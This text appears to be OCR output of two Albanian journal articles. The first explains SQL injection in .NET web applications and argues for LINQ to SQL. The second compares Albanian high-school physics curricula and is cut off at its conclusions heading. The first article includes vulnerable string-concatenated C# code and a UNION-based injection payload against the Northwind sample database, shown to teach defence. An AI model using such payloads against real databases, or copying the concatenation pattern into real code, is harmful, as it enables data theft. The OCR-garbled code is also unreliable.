dinamike né bazé té té dhénave té ofruara nga pérdoruesit e aplikimit. Kéto té dhéna
shpesh heré, me géllim té keq, mund té mos jené korrekte dhe té ¢ojné né sjellje jo
normale té aplikimeve Web. Njé prej platformave gé pérdoret sot pér krijimin e
kétyre aplikimeve éshté platforma .NET dhe né kété artikull pérshkruhen disa
teknika té pérdorura nga teknologjia L/NQ (Language Integrated Query), pér té
siguruar korrektésiné e té dhénave té pérdoruesve té aplikimit dhe si rrjedhim
ménjanimin e mundésisé sé injektimit té kodit SQL né kéto aplikime

Fjalé celés: SQOL, injektim, baza té dhénash, siguri, Web.

Abstract

The SQL attack to the web applications is one of the most crucial and more
important problems nowadays. Web application programmers can obviously use
different languages of programming in order to create various web applications
which interact with one another and are based on a database.

The interaction based on the data provided creates dynamic needs offered by the
application users. The probable risk that the information given might be incorrect or
frequently misused, would lead us to abnormal behaviors towards the web
applications.

One of the platforms used today is the . NET platform and the aim of this article is to
mention and describe some of the techniques used in L/NQ (Language Integrated
Query) in order to provide the privacy of the users’ application data making it
possible to avoid the possibility of injecting the SQL code in these applications.

Key word: SQL, injection, database, security, Web.

Hyrje
Ndérkohé gé numri i dobésive té sigurisé dhe i pérpjekjeve pér té zbuluar ato rritet,
programuesve iu kérkohet té trajtojné me pérgjegjési t&é madhe siguriné e aplikimeve
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gé krijojné, nga ana tjetér krijuesit e mjediseve té programimit pérfshijné né
platformat e tyre instrumente gjithnjé e mé té géndrueshme. Dhe megjithaté krijuesit
bien dakord se ményra mé efikase pér té mbrojtur aplikimet dhe pér té parandaluar
sulmet dashakeqgése ndaj tyre, éshté té projektohet dhe implementohet siguria e
programeve gé né fillimin e tyre. Pér fat té keq, ekipeve té krijimit, zakonisht iu
mungon trajnimi i nevojshém dhe resurset pér té marré njé vendim té kénagshém pér
projektimin e sigurisé sé aplikimeve.

Ashtu si krijuesit jané ata mbi té cilét bie barra pér t’u kujdesur pér rezistencén ndaj
sulmeve té njé programi, dobésia e paré e aplikimeve Web pér té cilén mésojné,
éshté njé formé jashtézakonisht e rrezikshme e futjes sé komandave: injektimet SQL
(SOL injections). Injektimet e komandave jané njé emértim shumé i pérgjithshém,
gé u éshté béré té gjitha dobésive gé i lejojné njé sulmuesi té specifikojé njé
komandé pér serverin, népérmjet modifikimit t¢ komandave té pritshme normalisht
provokojné Web-in aplikimin té sillet né njé ményré té padéshiruar. Megénése jané
mé té njohura, injektimet SQL jané sulmet mé té zakonshme, mé té rrezikshme dhe
mé prezente. Pér fat t& miré, kéto lloj sulmesh mund té ménjanohen né momentin né
té cilin kuptohet me t€ vértet€ problemi. Pér t’u parapriré programuesve, teknologjia
e kapjes sé bazés sé té dhénave e ofruar nga “Microsoft”, propozon mundésiné e
eliminimit t€ dobésive tip injektime SQL, atéheré kur teknologjia pérdoret né
ményré té pérshtatshme. Teknologjia quhet L/INQ (Language Integrated Query) dhe
éshté pjesé e integruar né NVET framework 3.5.

Véshtrim i pérgjithshém

Injektimet SQL jané njé tip dobésie e sigurisé sé njé aplikimi Web, né té cilén njé
sulmues i ofron té dhéna té kégija programit, duke e provokuar té ekzekutojé né
server komanda SQL gé nuk priten. Megjithése ky tip sulmi éshté i lehté pér t'u
parandaluar, ai éshté aq i pérhapur dhe fatal, sepse u lejon sulmuesve té ekzekutojné
komanda té padéshiruara, direkt né bazén e té dhénave me té cilén punohet. Né raste
ekstreme ata gé sulmojné, jo vetém gé mund té kené akses né té gjitha informacionet
e bazés sé té dhénave, por munden dhe té ndryshojné, fshijné ose shtojné tabela dhe
baza té dhénash, madje edhe té marrin kontrollin mbi serverin e bazés sé té dhénave.

Meqé ky tip sulmi éshté i lehté pér t’u parandaluar, atéheré pse éshté kaq i
rrezikshém? Né radhé té paré, baza e té dhénave té njé aplikimi éshté njé shenjestér
shumé térheqgése dhe paraget njé interes té vecanté pér sulmuesit. Njé dashakegés
mund té zbulojé dhe té zhbirojé me lehtési njé aplikim Web gé shfaq dobési ndaj
kétij tipi sulmesh.

Njé ményré e thjeshté pér té zbuluar njé dobési ndaj sulmeve injektimi SQL, éshté
té pérdoret njé metakarakter né njé sekuencé karakteresh pér té cilén dihet se do té
pérdoret pér té krijuar njé komandé e cila do té pérpiget té pérdoré bazén e té
dhénave. Pér shembull, né ¢cdo Web Site gé ka njé fushé hyrése, njé sulmues mund
té pérdoré njé metakarakter, si pér shembull apostrofin né njé fushé kérkimi, té japé
“Search” pér té provokuar ekzekutimin e komandés. Né qofté se aplikimi kthen njé
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mesazh gabimi, sulmuesi jo vetém gé di se ka gjetur njé aplikim té dobét, por mund
té detyrojé serverin té ekzekutojé dhe komanda té tjera té démshme.

Do té pérpigemi me anén e njé shembulli té sqarojmé sa e thjeshté éshté té béhen
gabime gé mund té cojné né dobésiné e njé aplikimi, pérballé sulmeve té tipit
injektime SQL dhe se si mund té parandalohen me pak kujdes té treguar né
projektimin dhe implementimin e atij programi.

Aplikimi Web i pérdorur pérmban njé fushé té thjeshté kérkimi pér njé klient dhe
shafaq dobési ndaj injektimeve SQL. Si bazé té dhénash éshté pérdorur ajo e ofruar
nga Microsoft, si shembull: Northwind. Kérkesa e ekzekutuar né kohén e kérkimit
pérmban njé gabim té ndeshur shumé shpesh né projektimin e aplikimeve dhe
konkretisht krijon njé komandé SQL dinamike nga teksti i dhéné prej pérdoruesit.
Ky éshté njé gabim kryesor né krijimin e aplikimit, sepse u zihet besé t& dhénave té
futura nga pérdoruesi dhe ato dérgohen direkt drejt bazés sé té dhénave. Kérkesa
shfaget e tillé kur krijohet nga evenimenti i shtypjes sé butonit Search.

protected void btnSearch_Click(object sender, EventArgs €)

{ String cmd = SELECT[CustomerID], [CompanyName], [ContactName]
From [Customers]

WHERE CompanyName = ¢ ”+ txtCompanyName.Text + ¢’ “;
SqglDataSourcel.SelectCommand = cmd;

GridView.Visible = true; }

Né skenarin e mésipérm, né qofté se pérdoruesi pérdor pér shembull “FEastern
Connection” si emér té njé kompanie, shtypja e butonit “Search”, gjeneron ashtu si
pritet, rekordet pér kété kompani. Por, njé sulmues mund t& manipulojé lehtésisht
kété ményré té krijimit dinamik té kérkesés, pér shembull népérmjet pérdorimit té
njé klauze UNION dhe mbylljes sé sekuencés me njé koment (--). Me fjalé té tjera,
né vend té shkruajé “Eastern Connection”, sulmuesi shkruan Eastern Connection
‘UNION’ SELECT CustomerlID, ShipName, ShipAddress FROM ORDERS--Si
rezultat, komanda SQL qé egzekutohet né server shton kérkesén e sulmuesit dhe e
transformon né ményré dinamike té duket né formén e méposhtme:

SELECT [CustomerID],[CompanyName],[ContactName]
From [Customers]

WHERE CompanyName = ‘Eastern Connection’

UNION SELECT CustomerID, ShipName, ShippAddress
FROM Orders--¢

Né kété ményré merret njé komandé SQL plotésisht e vlefshme, e cila do té
ekzekutohet mbi bazén e té dhénave, duke kthyer té gjithé konsumatorét e tabelés
Orders, gé kané béré kérkesa.

Metoda tipike té ménjanimit té injektimeve SQL
Mé sipér pamé se sa lehté mund té krijojmé dhe eksplorojmé dobésité e tipit
injektime SQL né njé program té ndértuar keq. Fatmirésisht ashtu si theksuam mé
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paré injektimet SQL mund té parandalohen duke marré disa masa parandaluese.
Masa mé e pérdorur dhe mé pak e kushtueshme si kohé, éshté kontrolli i
vlefshmérisé sé té dhénave té pranuara nga pérdoruesi, atéheré kur transformohen
né komanda gé do té pérdorin bazén e té dhénave. Cdo e dhéné hyrése e pérdorur
nga klientét, qofté direkt népérmjet aplikimit Web ose e regjistruar mé paré, duhet té
verifikohet, para se té dérgohet mé tej. Pér fat té keq, kéto masa té bazuara né kodin
burim nuk jané té pathyeshme dhe mund té déshtojné atéheré kur:

1. Meényra e kontrollit té vlefshmérisé nuk éshté pércaktuar né ményré korrekte
2. Kontrolli i vlefshmérisé egzekutohet vetém né nivel klient
3. Kontrolli i vlefshmérisé nuk merr né llogari, gofté edhe njé fushé té vetme té
aplikimit
Njé nivel mé tepér né parandalimin e injektimeve SQL, pérfshin parametrizimin
korrekt té té gjitha kérkesave SQL té aplikimit, qofté né rastet kur béhet fjalé pér
komanda SQL dinamike apo pér procedura té regjistruara.

Kérkesat e parametrizuara trajtojné té dhénat e futura, si disa vlera gé béjné pjesé né
komandat SQL, duke béré té pamundur né kété ményré gé serveri té trajtojé
kérkesat e parametrizuara, si kod té ekzekutueshém. Edhe né qofté se pérdoren
procedurat e regjistruara, parametrizimi i té dhénave hyrése éshté i nevojshém, sepse
procedurat e regjistruara nuk ofrojné mbrojtije ndaj injektimeve SQL pértej
kérkesave té pérfshira né proceduré. Qofté edhe me kéto trajtime té thjeshta, futja e
kodit SQL éshté né vazhdim njé problem i madh. Prandaj, né njé ekip
programuesish edukimi i ¢do anétari rreth kétyre dobésive, pércaktimi i standardeve
té sigurisé, pér té parandaluar sulmet dhe pércaktimi i rregullave gé t& mos i shpétojé
asgjé kontrollit t& vlefshmérisé, éshté njé domosdoshméri. Kjo detyron pérdorimin e
shumé variablave né pérpjekjet pér té realizuar siguriné e aplikimit, késhtu gé do té
ishte mé produktive té zgjidhej njé teknologji e kapjes sé té dhénave gé bén té
pamundur injektimet SQL. Ndér keto numérohet L/NQ.

Véshtrim i pérgjithshém mbi LINQ

Né thelb L/NQ pérdor njé standard té trajtimit té té gjitha kérkesave dhe veprimeve
té aktualizimit t& t€ dhénave, pavarésisht tipit té regjistrimit té té dhénave: baza té
dhénash SQL, dokumente XML, obiekte NET. Kur ndértohen aplikime gé té
punojné me baza té dhénash, komponentja L/NQ gé u lejon programuesve té
trajtojné té dhénat relacionale si objekte C# ose VB, njihet si “LINQ to SQL”, e
cila konsiderohet si pjesé e familjes ADO.NET.

“LINQ to SQL” lejon trajtimin e té dnhénave té aplikimeve si objekte té gjuhés sé
pérdorur, duke abstraktizuar kompleksitetin e menaxhimit té bazés sé té dhénave dhe
té lidhjeve qé egzistojné né bazén e té dhénave. Né fakt me ndihmén e L/NQ, mund
té afishohen dhe t& manipulohen té dhéna nga baza e té dhénave, pa shkruar asnjé
komandé SQL. Gjaté kompilimit “LINQ to SQL” pérkthen kérkesat e pérfshira né
kod, né SQL dhe i ekzekuton mbi bazén e té dhénave. “LINQ to SQL” kthen
rezultatet e kérkesave né formé objektesh, duke abstraktizuar té gjithé ndérveprimin
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me bazén e té dhénave dhe SQL. Mbrojtja e kapjes sé té dhénave me ndihmén e
LINQ

“LINQ to SQL” atéheré kur pérdoret né ményré ekskluzive pér té kapur té dhénat,
eliminon mundésiné pér té ekekutuar injeksione SQL né aplikim, pér njé motiv fare
té thjeshté: ¢do kérkesé SQL gé ekzekutohet nga L/NQ éshté e parametrizuar. Cdo
e dhéné hyrése e ofruar nga ana e ¢do lloj burimi trajtohet si njé literal né castin kur
L/NQ ndérton komandén SQL nga sintaksa e kérkesave té integruara. Né momentin
e kompilimit kompilatori zbulon shumé nga pérdorimet e gabuara t€ komandave, té
cilat mund té prodhojné defekte ose dobési né funksionimin e aplikimit. Né kontrast,
komandat SQL té shkruara me doré analizohen gramatikisht dhe interpretohen mbi
bazén e té dhénave né kohén e ekzekutimit, pa e ditur nése jané korrekte apo jo.
Ményra e vetme pér té sulmuar “LINQ to SQL” éshté gé njé sulmues té pérpiget té
mashtrojé L/NQ té krijojé komanda SQL ilegale ose té padéshirueshme. Pér fat té
miré, gjuhét e programimit dhe kompilatorét jané projektuar té mbrohen nga kjo.

Japim né vazhdim si mund té zbatohet shembulli i mésipérm me kérkimin e klientit
té méparshém duke pérdorur “LINQ to SQL” pér t'u mbrojtur nga sulmet tip
injektime SQL. Hapi i paré éshté krijimi i objektit model té relacioneve midis té
dhénave né kuadrin e bazés sé té dhénave. Pér té krijuar objektin model té tabelés
Northwind Customers, krijohet njé skedar bazé té dhénash “LINQ to SQL” né
aplikim dhe né kuadrin e projektit duke zgjedhur shabllonin “LINQ to SQL”. Pas
késaj shtohet njé skedar Customer.designer.cs i cili pércakton klasat t& cilat do té
pérdoren, duke evituar né kété ményré punén direkte me bazén e té dhénave.

Metoda Page Load pér fagen e gjeneruar nga L/INQ (LINQtoSQL.aspx.cs),
inicializon klasén CustomerDataContext té krijuar nga O/R Designer. Shembulli i
méposhtém kthen njé koleksion objektesh té tipit Customer, gé pérputhen me
rezultatet e marra nga ekzekutimi i kérkesés duke pérdorur klauzén WHERE.

protected void Page Load (object sender, EventArgs e)
{ string connectionString=

ConfigurationManager.ConnectionStrings[“northwndConnectionString1”]
ConnectionString;

CustomersDataContext db= new CustomersDataContext(connectionString);
GridViewl.DataSource=

from customer in db.Customers

where customer.CompanyName = = txtCompanyName.Text

orderby customer.CompanyName

select customer;

GridViewl.DataBind(); }

Duke pérdorur “LINQ to SQL”, né qofté se ofrojmé si vleré t€ kérkuar “Eastern
Connection”, komanda SQL e gjeneruar dhe e ekzekutuar éshté:
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SELECT [t0].[CustomerID], [t0].[CompanyName], [t0].[ContactName],
[t0].[ContactTitle], [t0].[Address], [tO].[City], [tO0].[Region], [t0].[PostalCode],
[t0].[Country], [t0].[Phone], [t0].[Fax]

From [dbo].[Customers] as [t0]
WHERE [t0].CompanyName = @p0
ORDER BY [t0].[CompanyName]

Si¢c mund té shihet, clauza WHERE éshté parametrizuar automatikisht, duke u béré
né kété ményré e padepértueshme nga sulmet tip injektime SQL. Pavarésisht nga
vlerat e ofruara nga njé pérdorues pér kérkim, kérkesa éshté e sigurt dhe nuk u lejon
té dhénave té futura té ekzekutohen direkt nga serveri. Né qofté se do té fusnim pér
té kérkuar vargun e karaktereve té pérdorur mé paré pér té ekzekutuar njé injektim
SQL, kérkesa nuk do té kthejé asnjé rresht. Né fakt i vetmi dém gé njé pérdorues
mund té shkaktojé me kété kérkesé, éshté t€ zbatojé njé sulm “brute force”, duke
pérdorur funksionin e kérkimit, pér té kontrolluar té gjitha rekordet pér kompanité e
tabelés, népérmjet gjetjes sé té gjitha vlerave t& mundshme.

Pérfundime

Ashtu si¢ treguammeé lart né shembujt e pérdorur, éshté shumé e thjeshté té pérdoren
injektime SQL né kuadrin e aplikimeve Web dhe nuk éshté mé e véshtiré té
riparohen. Por asgjé nuk mbron apriori programuesit nga kéto gabime té thjeshta dhe
né té njéjtén kohé té rrezikshme. Megjithaté teknologjia “LINQ to SQL” e
propozuar nga Microsoft, eliminon mundésiné e egzekutimit té sulmeve tip
injektime SQL mbi bazén e té dhénave té njé aplikimi, népérmjet lénies sé
programuesve té ndérveprojné né ményré té drejtpérdrejté me objektet model té
gjeneruara nga té dhénat relacionale dhe jo me bazén e té dhénave né vetvete.
Infrastruktura L/NQ, e integruar né C# dhe Visual Basic, merr pérsipér barrén e
ndértimit t¢ komandave SQL té vlefshme, duke parandaluar sulmet tip injektime
SQL. Prandaj né qofté se zgjidhet t€ pérdoret “LINQ to SQL” si pjesé e njé
aplikimi . NET, béhet njé hap drejt aplikimeve mé té sigurta.
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PROPOZIME EFIKASE PER KURRIKULEN E FIZIKES NE ARSIMIN
PARAUNIVERSITAR
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Universiteti “Fan S. Noli”
Pérmbledhje

Fizika, si shkenca mé fondamentale né universin e dijes njerézore, meriton njé
vémendje té vecanté lidhur me trajtimin e saj né arsimin parauniversitar e
veganérisht né gjimnaz. Nisur nga pikésynimi i geverisé pér té ngritur né njé nivel
mé té larté cilésor pérvetésimin e shkencés nga té rinjté tané, mendoj se hartimi i nje
kurrikule sa mé bashkékohore pér fizikén e gjimnazit, gé té synojé jo thjesht dhénien
e informacionit mbi ligjet e fizikés, por aftésimin e té rinjve pér té zgjidhur drejt
probleme té ndryshme né kuadrin e ligjésive té natyrés, éshté njé domosdoshméri e
imponuar nga kérkesat e kohés. Né punim béhet njé krahasim midis programit té
kurrikulés sé fizikés pér shkollén e mesme me katér vite me até té gjimnazit té
sotém. Vihen re ndryshime té médha jo vetém né sasiné e oréve né térési dhe pér
kapituj té vecanté, por dhe né tematikén e trajtuar. Fizika, gé zhvillohej né té gjitha
vitet e shkollés s& mesme, jo vetém kishte sasi mé té madhe orésh, por trajtonte edhe
mé tepér degé (kapituj) té fizikés. Pérmendim Astrofizikén e cila éshté sot njé nga
degét mé térhegése té fizikés dhe pér mé tepér éshté shkenca gé shpjegon zanafillén
e universit.Pérfundimet e nxjera nga studimi si dhe propozimet e béra né té mund té
shérbejné modestisht pér pérmirésimin e programit té kurrikulés sé fizikés sé
gjimnazit.

Fjalét celés: kurrikula, tematika, astrofizika, program, fizika

Abstract

Physics, fundamental science in the universe of human knowledge, deserves a
special attention to its treatment in university education, especially in high school.
Given the purpose of the government to set up a high quality level mastery of
science from our youth, | think that the development of a contemporary curriculum
for high school physics that aim not only to provide information on the laws of
physics, but the training of young people to resolve to various problems in the
context of natural laws is a necessity imposed by the requirements of the time. The
present paper is a comparison between physics curriculum program for high school
with four years in the high school today. Noticed major changes not only in the
amount of hours as a whole and for specific chapters, but in the topics addressed.
Physics, which took place in all school years, not only had greater amount of hours,
but treat the more branches (chapters) of physics. Mention the Astrofizikawhich is
today one of the most attractive branches of physics and moreover it is science that
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explains the origins of the universe. Conclusions drawn from the study and
proposals can serve modestly to improve high school physics curriculum program.
Keywords: curriculum, topics, astrophysics, program, physics

Hyrje

Kurrikula éshté elementi mé i réndésishém i reformés arsimore dhe programi i saj
pasgyron né ményrén mé direkte synimet dhe objektivat e pérmbajtjes dhe té
procesit arsimor.Synimet e kurrikulés sé gjimnazit bazohen né legjislacionin né fuqi
dhe né€ dokumentet ligjore t€ kétij niveli arsimor. Né ligjin Nr.69/2112, “Pér
sistemin arsimor parauniversitar”, shprehen garté synimet e kurrikulés sé gjimnazit:
“...Arsimi 1 mes€m i larté€ synon zhillimin e métejshém e t€ kompetencave té fituara
nga arsimi bazé, konsolidimin e individualitetit t& cdo nxénési dhe térésiné e vlerave
dhe té géndrimeve, zgjerimin dhe thellimin né fusha té caktuara té dijes, pérgatitjen
pér arsimin tretésor ose pér tregun e punés.”

Duke u bazuar né legjislacionin e mésipérm, sistemi arsimor né pérgjithési, si dhe
gjimnazi, synon té formojé njé té ri me aftési thelbésore pér té nxéné gjaté gjithé
jetés dhe sidomos pér zhvillimin dhe shfrytézimin e potencialit té ¢do individi né
jetén aktive si qytetar dhe né konkurencén e tregut té punés. Pérgatitja e nxénésve
pér jetén dhe punén né t€ ardhmen kérkon qé kurrikula t’u mundésojé atyre té fitojné
disa aftési baz&, né ményré gé té rinjté t€ zhvillohen si menaxheré té vetvetes,
mendimtaré kritiké e krijues, problemzgjidhés dhe pjesémarrés aktivé né jetén
shogérore. Pér t’ia arritur kétij misioni fisnik kurrikula e gjimnazit duhet t€ synojé
zhvillimin tek té rinjté té disa aftésive bazé, si: aftésiné e pérdorimit té njohurive,
metodave dhe arsyetimit matematik, aftésiné e té menduarit kritik, aftésiné e té
menduarit krijues si dhe aftésiné e zgjidhjes sa mé drejt té problemeve gé u dalin
gjaté veprimtarisé sé tyre té pérditéshme. Kéto aftési mund té formohen né ményré
mé cilésore dhe mé té géndrueshme tek té rinjté vetém népérmjet studimit mé té
ploté dhe mé me efektivitet prej tyre té shkencave té natyrés né térési dhe té Fizikés
né veganti. Po késhtu edhe synimet e kurrikulés sé gjimnazit né aspektin vetjak,
aspektin shogéror dhe né aspektin ekonomik (Korniza Kurrikulare e Gjimnazit,
2008) mund té arrihen cilésisht mé miré néqoftése programi kurrikular pér 1éndén e
Fizikés sé gjimnazit né vecanti do té keté njé shtrirje mé t& madhe tematike dhe té
realizuar né mé shumé oré mésimore. Ky mendim té vjen natyrshém kur dihet se
Fizika éshté shkenca bazé pér studimin e ligjeve té natyrés dhe metodat e saj té
studimit nxitin mendimin krijues népérmjet vrojtimit té kujdeséshém té té dhénave
eksperimentale, analizimit té tyre né kuadrin e ligjeve té natyrés dhe abstragimit
cilésor pér nxjerrjen e pérfundimeve sa mé reale. Pérmes kurrikulés sé Fizikés,
nxénésit aftésohen dhe fitojné shprehité e domosdoshme né pérdorimin e njohurive
matematike, pérsosin aftésité e matjes, té ndértimit dhe té interpretimit
hapésinor.Kjo u mundéson atyre té diné té grumbullojné té dhéna, té gjykojné pér
mundésiné e ndodhjes sé njé ngjarjeje, t€ mendojné né ményré abstrakte, té kuptojné
e té zbulojné lidhjet e fizikés me shkencat e tjera dhe sidomos me jetén reale.
Studimi i Fizikés formon tek nxénésit cilési té tilla si: gatishmériné pér veprimtari
intelektuale, aftési pér t’u pérqéndruar né trajtimin dhe zgjidhjen e problemeve té
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ndryshme, aftési krijuese dhe fantazi. Té gjitha kéto cilési jané aq té nevojéshme pér
kompletimin e njé intelektuali vizionar e sidomos pér elitén intelektuale.

Duke studiuar materialin “Korniza Kurrikulare e Gjimnazit”, q¢ €shté dokumenti
bazé mbi kurrikulén e gjimnazit, pérgatitur nga Instituti i Kurrikulés dhe i Trajnimit,
té bie né sy ndér té tjera se njé nga synimet e késaj kurrikule éshté & zhvillojé né
ményrésa mé té ploté potencialine nxénésve. Kjo nénkupton veg té tjerave edhe
synimin gé ka kurrikula e gjimnazit pér krijimin e elités intelektuale, e cila, si¢ dihet
zotéron njé potencial shumé t& madh krijues. Arritja e kétij synimi mund té
realizohet jo vetém duke i orientuar nxénésit sipas prirjeve té tyre, por pér nxénésit
gé shfaqin talent né shkencat e natyrés duhet té zhvillohet njé program shumé mé i
avancuar nga ana shkencore né kéto fusha. Zhvillimi né ményré sa mé té ploté dhe
sa mé cilésore i kétij potenciali nuk mund té arrihet pa futjen né programin e
kurrikulés sé gjimnazit té njé programi mé té gjéré té Fizikés, i cili té pérditésohet
vazhdimisht me té rejat e késaj shkence.

2. Krahasimi midis dy programeve kurrikulare té fizikes

Diskutimi mbi programet e kurrikulés pér 1éndén e Fizikés sé gjimnazit pérmban dy
linja:
1. Cili éshté misioni i shkollés soné né pérgatitjen pér jetén té brezit téri?

Pér ta shtjelluar mé tej kété ide po ngre dy pyetje mjaft thjesht.

- Shkolla joné synon té formojé gytetaré té arsimuar, por té destinuar pér
té hyré né tregun e punés vendas dhe té huaj si punétoré té pakualifikuar
krahu, apo synon té kultivojé qytetaré me njé arsimim té denjé pér
universitetet mé t& mira bashkekohore, pra té kultivojé specialisté té
zoté, té afté pér té marré né doré fatet e zhvillimit té gjithanshém
ekonomik e shogéror té vendit si dhe pér té konkuruar me sukses né
tregun botéror té punés si specialisté té miréfillté.

Duke ju referuar synimeve dhe objektivave gé ka gjimnazi yné, té shprehura
kéto né materialin “Korniza Kurrikulare e Gjimnazit”, shohim se arsimi yné
i mesém i larté synon té formojé njé gytetar model né pérgjithési, por dhe té
zhvillojé mé tej afésité krijuese t€ nxénésve. Kjo do té thoté se synimi i
shkollés soné nuk éshté formimi i njé té riu t&€ paemancipuar dhe me njé
ngritie minimale shkencore, i cili do té jeté pa dyshim kontigjent i
punétoréve me kualifikimin mé té ulét. Shprehja: “té zhvillojé mé tef
potencialin e nxénésve’ do té thoté gé shkolla joné sot synon t€ formojé
specialisté té zoté, pér té drejtuar zhvillimin e vendit né vazhdimési.

2. Cila do té jeté kurrikula mé e pérshtatshme pér té realizuar synimin gé
kérkon té arrijé shkolla joné?
Mendoj se krijimi i shkollés shqiptare duhet té synojé jo vetém pérgatitjen e
nxénésve si gytetaré té kulturuar té sé ardhmes, té afté pér t¢ menduar dhe
pér té vepruar né ményré konstruktive pér miréqgénienvetiake, shogérore dhe
ekonomike, por sé pari formimin e elitave intelektuale, té afta pér té
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konkuruar né tregun botéror. Ve késaj ky kontigjent do té shérbejné si bazé
e fugishme pér zhvillimin e vendit jo vetém né fushén ekonomike, por edhe
né ato shogérore, kulturore dhe politike.
Treguesi mé i miré pér kété aftési té té rinjve tané éshté fakti, g€ me
vendosjen e demokracisé dhe krijimin e mundésive pér studime universitare
jashté vendit, njé numur gjithnjé e mé i madh i maturantéve shqiptaré kané
studiuar dhe vazhdojné té studiojné né universitetet peréndimore duke
treguar se kurrikulae gjimnazit toné éshté e njé niveli t& kénagshém.
Néqoftése do té kérkojmé nga gjimnazi yné, gé né synimet e veta té keté edhe
hedhjen e bazave pér formimin e elitave intelektuale t& sé ardhmes, mendoj se né
kurrikulén e arsimit té mesém publik duhet t& béhen disa ndryshime té réndésishme.
Nga tabela treguese pér fushat dhe I&ndét e kurrikulés bérthamé té ¢do fushe té nxéni
(Korniza Kurrikulare e Gjimnazit) shihet se nga 9 fusha té t& nxénit vetém 2 prej
tyre u takojné shkencave té natyrés dhe nga 17 1éndé té kurrikulés bérthamé vetém 5
u pérkasin kétyre shkencave. Njé ndarje e tillé e fushave dhe e 1éndéve té kurrikulés
bérthamé pa dyshim gé ndikon dhe né planifikimin e oréve té mésimit pér secilén
prej tyre.Mendoj se 1€nd€ve té shkencave natyrore duhet t’u lihet shumé mé tepér
hapsiré né programet kurrikulare. Kjo sepse shkencat natyrore jané disiplina
universale pérmes té cilave ne kuptojmé si lindi dhe u zhvillua jeta, kuptojmé
dukurité fizike t& mjedisit si dhe ligjésité e ndryshimeve té tij, ligjet e lindjes,
ndértimit dhe zhvillimit t& universit duke kapur thelbin e tyre né ményré logjike dhe
krijuese. Shkenca zhvillon aftésité tona krijuese, té zgjidhjes sé problemit, té té
menduarit kritik dhe té punés né grup. Ajo ndikon né zhvillimin e aftésive pér té
nxéné gjaté gjithé jetés dhe cka éshté mé e réndésishmja, jun ofron nxénésve mjetet
dhe njohurité pér té shuar kureshtjen.
Né kété studim uné do ndalem vetém né ato vérejtje qé mé duken té drejta, lidhur me
programin kurrikular té 1éndés sé Fizikeés.
Paré né kété kéndvéshtrim mendoj se programi i kurrikulés sé gjimnazit ka njé rénie
té nivelit té dijeve té ofruara nxénésve né krahasim me programin e parastrukturimit
té shkollés mbi bazén e arsimit 9-vjecar dhe gjimnazit gé kryhet né 3 vjet.Ky
krahasim mund té shihet garté duke ju referuar programit pér shkollén e mesme té
profilizuar, deri mé 2008dhe programit pér gjimnazin. Gjatédy viteve té para té
gjimnazit, 1énda e Fizikés zé veté 144 oré nga 348 oré gé zinte ajo gjaté 4 viteve té
shkollés sé mesme né profilin shogéror. Kur Iénda e Fizikés merret si 1éndé me
zgjedhje né gjimnazin e sotém, ajo z& 212 oré nga 520 oré gé zinte ajo gjaté 4 viteve
né profilin natyror té arsimit t€ mesém. Shihet se ka njé ulje prej rreth 60% té oréve
té léndés sé Fizikés né gjimnazin e sotém.
Duke krahasuar programet shkollore te Fizikés pér profilin shogéror té shkollés sé
mesme me programet e kurrikulés sé re té gjimnazit vémé re se né té parin
trajtoheshin jo vetém mé shumé tema, por pér té njéjtat tema kishte mé shumé oré
mésimi. P.sh. Mekanika kuantiketrajtohej né 7 oré, kurse sot vetém né 3 oré, pra
57% oré mé pak (program i kurrikulés bérthamé), Fizika bérthamore trajtohej né 15
oré, kurse sot vetém né 7 ore ( 53,3% mé pak).
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Pérsa i takon teorisé sé Relativitetit, e cila formon tek nxénési njé kuptim té ri,
modern mbi hapsirén dhe kohén, mbi ményrén e té vrojtuarit, t¢ menduarit, té
interpretuarit dhe té hulumtimit shkencor té natyrés né pérgjithési, ajo nuk trajtohet
fare né programin e kurrikulés bérthamé, kurse né programin e vjetér ajo zinte plot
16 oré.

Mendoj se éshté e pafalshme gé né programin e kurrikulés bérthamé té mos trajtohen
fare elementét e Astrofizikés, kur dihet mjaft miré se teorité mé té reja té shkencés
po trajtojné gjithmoné e mé shumé géndrimin toné ndaj kozmosit, lidhjen e
pérjetshme té njeriut me universin. Astrofizika po shpjegon jo vetém ndértimin e
universit toné, por po shpjegon si lindi dhe po zhvillohet ai duke na dhéné njé
kuptim mé té ploté mbi ligjésité e lindjes dhe evolucionit t& métejshém té sistemit
diellor. Ne kemi njé shkollé laike dhe si e tillé ajo ka pér detyré t’u shpjegojé
nxénésve se cila éshté fillesa e botés gé na rrethon, cili eshté vendi dhe roli i njeriut
né té dhe cila éshté e ardhmija e tij né kété univers. Akoma mé i reduktuar paragitet
programi i Fizikés sé kurrikulés me zgjedhje né krahasim me programin e Fizikés sé
profilit natyror té shkollés sé mesme. Duke i krahasuar kéto dy programe shihet se
disproporcionet jané shumé té médha. Ndérsa MekanikaKuantike trajtohej né 29 oré,
sot, né Iéndét me zgjedhje ajo z& vetém 11 oré, pra 62% té oréve mé pak; fizika
Bérthamore zinte 24 oré ndérsa tani z& 5 oré (75% mé pak). Teoria e Relativitetit
zinte plot 29 oré, ndérsa tani vetém 15 oré (aférsisht 50% mé pak). Pérsa i pérket
Astrofizikés diferencat jané akoma mé té médha; nga 31 oré gé zhvillohej mé paré,
tani z& vetém 8, pra 74% oré mé pak. Po késhtu mund té pérmendim kapitujt mbi
Iéndén e kondensuar, optikén, strukturén e Iéndés,etj.

Dikush mund té& mendojé se né sistemin e ri, Iénda e Fizikés shtrihet gé nga klasa e 6
e arsimit 9-vjecar. Né fakt duhet t& pranojmé se ashtu si¢ trajtohet Fizika né arsimin
9-vjecar, ajo mé tepér ngjason me njohurité bazé mé elementare gé duhet té dijé ¢do
qytetar, g€ fare mir€ mund t’i inkuadronim né njé 1€nd€ me karakter té
pérgjithshém, p.sh. “Dituri Natyre”, se sa me Fizikén e miréfillt€ shkencore. Duke ¢
paré me vémendje programin e Fizikés pér klasén e 6, 7, 8, 9, vihet re jo vetém gé
renditja e trajtimit té degéve té ndryshme té Fizikés nuk éshté mbajtur parasysh, por
madje né tekstet e pérdorura né kéto klasa gjen edhe koncepte té gabuara pér
madhési té ndryshme fizike. Dihet se Fizika e pérgjithshme gé trajtohet né té gjithé
kurset e Fizikés népér Universitetet e ndryshme, ndahet né 5 pjesé, té cilat fillojné
me Mekanikén dhe mbarojné me até @é quhet Fizika moderne. Mendoj se po kété
renditje duhet té keté 1énda e Fizikés edhe né arsimin 9-vjecar. Kjo dhe pér faktin se
kinematika dhe dinamika mund té trajtohen edhe si problema té vecanta té
matematikés.

3. Pérfundime

